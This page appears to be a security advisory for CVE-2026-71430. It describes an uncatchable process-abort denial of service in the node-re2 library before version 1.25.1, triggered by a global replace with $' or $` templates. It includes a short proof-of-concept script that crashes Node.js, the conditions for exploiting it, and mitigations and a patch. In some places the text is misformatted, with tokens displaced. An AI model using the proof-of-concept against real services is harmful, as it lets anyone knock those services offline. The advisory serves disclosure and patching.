Listen to this Post
CVE ID: CVE-2026-71430
The `node-re2` library provides Node.js bindings for Google’s RE2 regular expression engine, which is designed to be a safe alternative to the built-in engine by protecting against ReDoS (Regular Expression Denial of Service) attacks.
However, versions of `node-re2` prior to `1.25.1` contain a critical vulnerability in the `WrappedRE2::Replace` function. This function is responsible for building the result of a replacement operation and passing it to the V8 JavaScript engine using the `.ToLocalChecked()` method.
The core issue is a missing validation check. When a global replace is performed using an output-amplifying template like `$’` (which inserts the text after the match) or $`` (which inserts the text before the match), the size of the resulting string grows quadratically (O(input²)) with the length of the input.String::kMaxLength
For example, an input string of approximately 40,000 identical single-character matches can cause the replacement result to exceed V8's internal maximum string length (), which is about 536,870,888 characters on 64-bit systems. When this limit is breached, V8's `Nan::New(result)` function returns an empty `MaybeLocal` object instead of a valid string.v8::Utils::ReportApiFailure
The vulnerability lies in the fact that the `WrappedRE2::Replace` code then calls `.ToLocalChecked()` on this empty `MaybeLocal` without first checking if it is empty. This unchecked call triggers, leading to a fatal error message (FATAL ERROR: v8::ToLocalChecked Empty MaybeLocal) and an immediate process abort viaSIGABRT.1.25.1
This crash is uncatchable. It is not a standard JavaScript exception, so a `try/catch` block or Node.js `domain` cannot prevent the entire Node.js process (or worker thread) from terminating. This behavior diverges from the built-in JavaScript regex engine, which correctly throws a catchable `RangeError: Invalid string length` in the same scenario.
The fix, implemented in version, adds the necessary validation checks. The code now verifies that the `MaybeLocal` is not empty before calling.ToLocalChecked(). If it is empty, it throws a catchableRangeError: Invalid string length, matching the behavior of the built-in engine.
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: Node.js
Version: < 1.25.1
Vulnerability: Uncatchable DoS
Severity: Medium
date: 2026-08-06
<h2 style="color: blue;">Prediction: Already Patched (1.25.1)</h2>
<h2 style="color: blue;">What Undercode Say</h2>
Install the vulnerable version to test npm i [email protected] Create a proof-of-concept file cat > poc.js << 'EOF' const RE2 = require('re2'); // Built-in engine: throws catchable RangeError try { 'a'.repeat(50000).replace(/a/g, "$'"); } catch (e) { console.log('native:', e.constructor.name, e.message); } // re2: ABORTS the whole process (uncatchable) 'a'.repeat(50000).replace(new RE2('a', 'g'), "$'"); EOF Run the PoC - this will crash the process with exit code 134 node poc.js
<h2 style="color: blue;">Output from vulnerable version (1.24.1):</h2>
native: RangeError Invalid string length FATAL ERROR: v8::ToLocalChecked Empty MaybeLocal [bash] 12345 abort (core dumped) node poc.js
The process exits with code `134` (SIGABRT). The threshold is precise: an input of 30,000 chars completes successfully (30000²/2 ≈ 4.5e8 < 5.37e8max), while 40,000 chars causes the abort (40000²/2 ≈ 8e8 > max)./g
<h2 style="color: blue;">Exploit</h2>
An attacker can trigger this vulnerability by sending a request to a Node.js service that uses `re2` for global replacements with amplifying templates. The attack requires:
1. The application uses `String.prototype.replace()` with an `re2` instance and a global flag ().$
2. The replacement template contains either `$'` (text after the match) or(text before the match).
3. The attacker can control either the input string or the replacement template.
By providing a sufficiently long input (e.g., ~40,000 characters), the attacker can cause the replacement result to exceed V8's maximum string length, leading to an uncatchable process abort. A single malicious request is enough to crash the entire Node.js process or worker.
<h2 style="color: blue;">Protection</h2>
1. Upgrade immediately: The primary and most effective mitigation is to upgrade `node-re2` to version `1.25.1` or later.
npm install re2@>=1.25.1
2. Input Validation: If an immediate upgrade is not possible, implement strict input length validation. Reject or truncate any input that could potentially lead to a quadratic output blow-up. For example, reject inputs longer than a few thousand characters when used with global `$'` or `$ replacements.
3. Apply the Patch Manually: If you are unable to upgrade, you can apply the fix to your local `node_modules` copy. The fix involves adding a check for an empty `MaybeLocal` before calling `.ToLocalChecked()` on both return paths in lib/replace.cc.
// Before (vulnerable):
info.GetReturnValue().Set(Nan::New(result).ToLocalChecked());
// After (patched):
auto maybe = Nan::New(result);
if (maybe.IsEmpty()) {
Nan::ThrowRangeError("Invalid string length");
return;
}
info.GetReturnValue().Set(maybe.ToLocalChecked());
This same check must be applied to the `Nan::CopyBuffer(…)` path and any per-group `Nan::New(data, size).ToLocalChecked()` sites used by replacer functions.
Impact
- Denial of Service (DoS): A remote, unauthenticated attacker can cause a complete process crash.
- Uncatchable Failure: The crash is a native
SIGABRT, not a JavaScript exception. It cannot be caught with `try/catch` or handled withdomains, making it impossible for the application to recover gracefully. - High Impact on Security-Critical Services: This is particularly damaging for applications that use `re2` specifically to process untrusted patterns or inputs safely, as it subverts the library’s primary security guarantee.
- Widespread Affected Systems: Any Node.js service that uses the `re2` package for global string replacement with attacker-influenced input is vulnerable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
